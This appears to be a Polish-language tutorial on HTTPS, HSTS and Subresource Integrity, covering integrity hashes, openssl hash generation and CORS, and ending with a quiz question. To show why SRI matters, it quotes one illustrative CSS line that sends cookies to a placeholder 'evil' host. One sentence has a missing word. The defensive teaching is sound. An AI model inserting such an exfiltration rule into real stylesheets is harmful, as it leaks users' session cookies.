HTTPS i Subresource Integrity

HTTPS szyfruje dane przesyłane przez sieć i uwierzytelnia serwer. Bez HTTPS osoby atakujące w tej samej sieci (Wi-Fi w kawiarni, dostawca usług internetowych, podmiot państwowy) mogą odczytać każdy bajt i wstrzyknąć złośliwą zawartość do odpowiedzi. Nowoczesne przeglądarki oznaczają strony HTTP jako „Niezabezpieczone”, a wiele interfejsów API (kamera, geolokalizacja, service workers) odmawia działania przez HTTP.

Ładowanie zasobów HTTP ze strony HTTPS to zawartość mieszana. Przeglądarka całkowicie blokuje aktywną zawartość mieszaną (skrypty, ramki iframe, arkusze stylów), a w przypadku pasywnej zawartości (obrazów) wyświetla ostrzeżenie. Zawsze ładuj każdy zasób przez HTTPS; używaj adresów względnych względem protokołu (//cdn.example.com) albo bezwzględnych https://.

HTTP Strict Transport Security za pomocą nagłówka odpowiedzi Strict-Transport-Security informuje przeglądarki, aby w przyszłości odrzucały połączenia HTTP z Twoją domeną. Po zapisaniu HSTS w pamięci podręcznej osoba atakująca nie może przełączyć użytkownika na HTTP nawet wtedy, gdy ma możliwość przeprowadzenia ataku man-in-the-middle.

Ładowanie skryptów z zewnętrznych CDN-ów jest wygodne, ale ryzykowne — jeśli CDN zostanie przejęty, osoba atakująca może podmienić skrypt na złośliwe oprogramowanie. Subresource Integrity (SRI) sprawia, że przeglądarka weryfikuje kryptograficzny hash pliku przed jego wykonaniem i odmawia uruchomienia, jeśli hash się nie zgadza.

Dodaj do znacznika script zakodowany w base64 hash SHA-256/384/512: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. Przeglądarka oblicza hash pobranego pliku i odmawia jego uruchomienia, jeśli wartości się nie zgadzają.

Wygeneruj hash za pomocą openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. Możesz też użyć wtyczki do narzędzia kompilacji, która automatycznie dodaje atrybut integrity. Większość CDN-ów (jsdelivr, unpkg) wyświetla znacznik SRI w gotowym do skopiowania fragmencie.

SRI wymaga, aby odpowiedź cross-origin zezwalała na sprawdzenie integralności za pomocą CORS. Dodaj crossorigin="anonymous" do znacznika i upewnij się, że CDN wysyła Access-Control-Allow-Origin. Bez tego przeglądarka odmawia weryfikacji, a zasób nie zostaje załadowany.

Atrybut integrity może zawierać wiele hashy rozdzielonych spacjami. Jest to przydatne podczas przechodzenia na nową wersję: umieść w nim hashe zarówno starej, jak i nowej wersji, a przeglądarka zaakceptuje tę, którą dostarczy CDN. Unikaj więcej niż kilku hashy, aby zachować czytelność atrybutu.

SRI chroni również . Przejęty plik CSS jest mniej bezpośrednio niebezpieczny niż przejęty skrypt, ale wstrzyknięte background: url("//evil/log?cookie=...") nadal może umożliwić wykradanie danych. Jeśli to możliwe, stosuj SRI do każdego zewnętrznego zasobu.

SRI ogranicza skutki przejęcia CDN-u, ale nie rozwiązuje wszystkich problemów: zmiana hasha na CDN-ie powoduje awarię strony do czasu zaktualizowania atrybutu integrity. W przypadku krytycznych bibliotek hostuj samodzielnie sprawdzony plik — jednym działaniem eliminujesz konieczność przypinania SRI i ryzyko związane z łańcuchem dostaw.

SRI dodaje obliczanie hasha dla każdego zasobu — na nowoczesnym sprzęcie jest to pomijalny koszt, rzędu mikrosekund na kilobajt. Zapewniana przez nie ochrona przed atakami na łańcuch dostaw zdecydowanie przewyższa ten koszt. Przy ładowaniu zasobów z CDN-u nie ma wydajnościowego powodu, aby pomijać SRI.

SRI weryfikuje konkretne bajty — nie chroni przed dostarczaniem przez CDN innego pliku niektórym użytkownikom (selektywnym atakiem). Aby uzyskać maksymalną pewność, połącz SRI z HTTPS, HSTS, CSP i samodzielnym hostowaniem najważniejszych zasobów.

Przed czym chroni atrybut integrity w znaczniku script?

HTTPS szyfruje i uwierzytelnia, HSTS zapobiega atakom polegającym na obniżeniu poziomu zabezpieczeń, a SRI sprawdza, czy pliki innych firm nie zostały zmodyfikowane. Dodaj hashe integrity (wraz z crossorigin="anonymous") do każdego zewnętrznego skryptu i arkusza stylów ładowanego z CDN-u, którego nie kontrolujesz. W przypadku najważniejszych zasobów hostuj je samodzielnie — całkowicie eliminując ryzyko związane z łańcuchem dostaw.